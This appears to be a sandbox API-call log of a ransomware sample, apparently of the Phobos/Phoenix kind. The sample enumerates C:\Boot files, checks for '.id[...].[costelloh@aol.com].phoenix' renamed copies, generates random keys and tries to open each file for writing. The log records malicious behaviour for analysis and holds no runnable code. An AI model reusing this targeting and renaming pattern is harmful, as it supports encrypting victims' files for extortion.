	[0213.663] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\memtest.exe.mui" (normalized: "c:\\boot\\ja-jp\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.664] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3e5f7d0 | out: pbBuffer=0x3e5f7d0) returned 1
	[0213.664] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0213.664] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x3e5f770 | out: lpFileSize=0x3e5f770*=66912) returned 1
	[0213.664] CloseHandle (hObject=0x548) returned 1
	[0213.664] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui")) returned 0x20
	[0213.664] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.664] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.664] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3e5f7d0 | out: pbBuffer=0x3e5f7d0) returned 1
	[0213.664] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\memtest.exe.mui" (normalized: "c:\\boot\\ko-kr\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0213.664] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x3e5f770 | out: lpFileSize=0x3e5f770*=42912) returned 1
	[0213.664] CloseHandle (hObject=0x548) returned 1
	[0213.664] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\memtest.exe.mui" (normalized: "c:\\boot\\ko-kr\\memtest.exe.mui")) returned 0x20
	[0213.664] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\memtest.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\ko-kr\\memtest.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.664] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\memtest.exe.mui" (normalized: "c:\\boot\\ko-kr\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.665] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3e5f7d0 | out: pbBuffer=0x3e5f7d0) returned 1
	[0213.665] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\lt-LT\\bootmgr.exe.mui" (normalized: "c:\\boot\\lt-lt\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0213.665] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x3e5f770 | out: lpFileSize=0x3e5f770*=75616) returned 1
	[0213.665] CloseHandle (hObject=0x548) returned 1
	[0213.665] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\lt-LT\\bootmgr.exe.mui" (normalized: "c:\\boot\\lt-lt\\bootmgr.exe.mui")) returned 0x20
	[0213.665] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\lt-LT\\bootmgr.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\lt-lt\\bootmgr.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.665] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\lt-LT\\bootmgr.exe.mui" (normalized: "c:\\boot\\lt-lt\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.665] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3e5f7d0 | out: pbBuffer=0x3e5f7d0) returned 1
	[0213.665] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\lv-LV\\bootmgr.exe.mui" (normalized: "c:\\boot\\lv-lv\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0213.665] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x3e5f770 | out: lpFileSize=0x3e5f770*=75608) returned 1
	[0213.665] CloseHandle (hObject=0x548) returned 1
	[0213.665] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\lv-LV\\bootmgr.exe.mui" (normalized: "c:\\boot\\lv-lv\\bootmgr.exe.mui")) returned 0x20
	[0213.666] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\lv-LV\\bootmgr.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\lv-lv\\bootmgr.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.666] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\lv-LV\\bootmgr.exe.mui" (normalized: "c:\\boot\\lv-lv\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.666] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3e5f7d0 | out: pbBuffer=0x3e5f7d0) returned 1
	[0213.666] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0213.666] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x3e5f770 | out: lpFileSize=0x3e5f770*=811936) returned 1
	[0213.666] CloseHandle (hObject=0x548) returned 1
	[0213.666] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe")) returned 0x20
	[0213.666] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\memtest.exe.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\memtest.exe.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.667] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.667] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3e5f7d0 | out: pbBuffer=0x3e5f7d0) returned 1
	[0213.667] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0213.667] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x3e5f770 | out: lpFileSize=0x3e5f770*=75616) returned 1
	[0213.667] CloseHandle (hObject=0x548) returned 1
	[0213.667] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui")) returned 0x20
	[0213.667] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.667] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.667] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3e5f7d0 | out: pbBuffer=0x3e5f7d0) returned 1
	[0213.667] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\memtest.exe.mui" (normalized: "c:\\boot\\nb-no\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0213.667] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x3e5f770 | out: lpFileSize=0x3e5f770*=45472) returned 1
	[0213.667] CloseHandle (hObject=0x548) returned 1
	[0213.667] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\memtest.exe.mui" (normalized: "c:\\boot\\nb-no\\memtest.exe.mui")) returned 0x20
	[0213.668] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\memtest.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\nb-no\\memtest.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.668] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\memtest.exe.mui" (normalized: "c:\\boot\\nb-no\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.668] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3e5f7d0 | out: pbBuffer=0x3e5f7d0) returned 1
	[0213.668] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0213.668] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x3e5f770 | out: lpFileSize=0x3e5f770*=78176) returned 1
	[0213.668] CloseHandle (hObject=0x548) returned 1
	[0213.668] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui")) returned 0x20
	[0213.668] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.668] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.668] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3e5f7d0 | out: pbBuffer=0x3e5f7d0) returned 1
	[0213.668] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\memtest.exe.mui" (normalized: "c:\\boot\\nl-nl\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0213.668] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x3e5f770 | out: lpFileSize=0x3e5f770*=45472) returned 1
	[0213.669] CloseHandle (hObject=0x548) returned 1
	[0213.673] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\memtest.exe.mui" (normalized: "c:\\boot\\nl-nl\\memtest.exe.mui")) returned 0x20
	[0213.673] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\memtest.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\nl-nl\\memtest.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.674] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\memtest.exe.mui" (normalized: "c:\\boot\\nl-nl\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.674] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3e5f7d0 | out: pbBuffer=0x3e5f7d0) returned 1
	[0213.674] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0213.674] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x3e5f770 | out: lpFileSize=0x3e5f770*=77656) returned 1
	[0213.674] CloseHandle (hObject=0x548) returned 1
	[0213.674] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui")) returned 0x20
	[0213.674] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.674] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.674] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3e5f7d0 | out: pbBuffer=0x3e5f7d0) returned 1
	[0213.674] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\memtest.exe.mui" (normalized: "c:\\boot\\pl-pl\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0213.674] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x3e5f770 | out: lpFileSize=0x3e5f770*=45984) returned 1
	[0213.675] CloseHandle (hObject=0x548) returned 1
	[0213.675] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\memtest.exe.mui" (normalized: "c:\\boot\\pl-pl\\memtest.exe.mui")) returned 0x20
	[0213.675] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\memtest.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\pl-pl\\memtest.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.675] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\memtest.exe.mui" (normalized: "c:\\boot\\pl-pl\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.675] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3e5f7d0 | out: pbBuffer=0x3e5f7d0) returned 1
	[0213.675] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0213.675] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x3e5f770 | out: lpFileSize=0x3e5f770*=76640) returned 1
	[0213.675] CloseHandle (hObject=0x548) returned 1
	[0213.675] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui")) returned 0x20
	[0213.675] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.675] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.675] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3e5f7d0 | out: pbBuffer=0x3e5f7d0) returned 1
	[0213.675] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\memtest.exe.mui" (normalized: "c:\\boot\\pt-br\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0213.676] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x3e5f770 | out: lpFileSize=0x3e5f770*=45472) returned 1
	[0213.676] CloseHandle (hObject=0x548) returned 1
	[0213.676] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\memtest.exe.mui" (normalized: "c:\\boot\\pt-br\\memtest.exe.mui")) returned 0x20
	[0213.676] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\memtest.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\pt-br\\memtest.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.676] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\memtest.exe.mui" (normalized: "c:\\boot\\pt-br\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.676] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3e5f7d0 | out: pbBuffer=0x3e5f7d0) returned 1
	[0213.676] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0213.676] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x3e5f770 | out: lpFileSize=0x3e5f770*=76640) returned 1
	[0213.676] CloseHandle (hObject=0x548) returned 1
	[0213.676] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui")) returned 0x20
	[0213.676] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.676] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.677] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3e5f7d0 | out: pbBuffer=0x3e5f7d0) returned 1
	[0213.677] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\memtest.exe.mui" (normalized: "c:\\boot\\pt-pt\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0213.677] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x3e5f770 | out: lpFileSize=0x3e5f770*=45984) returned 1
	[0213.677] CloseHandle (hObject=0x548) returned 1
	[0213.677] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\memtest.exe.mui" (normalized: "c:\\boot\\pt-pt\\memtest.exe.mui")) returned 0x20
	[0213.677] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\memtest.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\pt-pt\\memtest.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.677] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\memtest.exe.mui" (normalized: "c:\\boot\\pt-pt\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.677] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3e5f7d0 | out: pbBuffer=0x3e5f7d0) returned 1
	[0213.677] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\qps-ploc\\bootmgr.exe.mui" (normalized: "c:\\boot\\qps-ploc\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0213.677] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x3e5f770 | out: lpFileSize=0x3e5f770*=74080) returned 1
	[0213.677] CloseHandle (hObject=0x548) returned 1
	[0213.677] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\qps-ploc\\bootmgr.exe.mui" (normalized: "c:\\boot\\qps-ploc\\bootmgr.exe.mui")) returned 0x20
	[0213.677] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\qps-ploc\\bootmgr.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\qps-ploc\\bootmgr.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.677] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\qps-ploc\\bootmgr.exe.mui" (normalized: "c:\\boot\\qps-ploc\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.678] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3e5f7d0 | out: pbBuffer=0x3e5f7d0) returned 1
	[0213.678] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\qps-ploc\\memtest.exe.mui" (normalized: "c:\\boot\\qps-ploc\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0213.678] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x3e5f770 | out: lpFileSize=0x3e5f770*=54168) returned 1
	[0213.678] CloseHandle (hObject=0x548) returned 1
	[0213.678] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\qps-ploc\\memtest.exe.mui" (normalized: "c:\\boot\\qps-ploc\\memtest.exe.mui")) returned 0x20
	[0213.678] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\qps-ploc\\memtest.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\qps-ploc\\memtest.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.678] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\qps-ploc\\memtest.exe.mui" (normalized: "c:\\boot\\qps-ploc\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.678] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3e5f7d0 | out: pbBuffer=0x3e5f7d0) returned 1
	[0213.678] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Resources\\bootres.dll" (normalized: "c:\\boot\\resources\\bootres.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0213.678] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x3e5f770 | out: lpFileSize=0x3e5f770*=92576) returned 1
	[0213.678] CloseHandle (hObject=0x548) returned 1
	[0213.679] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Resources\\bootres.dll" (normalized: "c:\\boot\\resources\\bootres.dll")) returned 0x20
	[0213.679] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Resources\\bootres.dll.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\resources\\bootres.dll.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.679] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Resources\\bootres.dll" (normalized: "c:\\boot\\resources\\bootres.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.679] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3e5f7d0 | out: pbBuffer=0x3e5f7d0) returned 1
	[0213.679] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Resources\\en-US\\bootres.dll.mui" (normalized: "c:\\boot\\resources\\en-us\\bootres.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0213.679] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x3e5f770 | out: lpFileSize=0x3e5f770*=12192) returned 1
	[0213.679] CloseHandle (hObject=0x548) returned 1
	[0213.679] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Resources\\en-US\\bootres.dll.mui" (normalized: "c:\\boot\\resources\\en-us\\bootres.dll.mui")) returned 0x20
	[0213.679] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Resources\\en-US\\bootres.dll.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\resources\\en-us\\bootres.dll.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.679] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Resources\\en-US\\bootres.dll.mui" (normalized: "c:\\boot\\resources\\en-us\\bootres.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
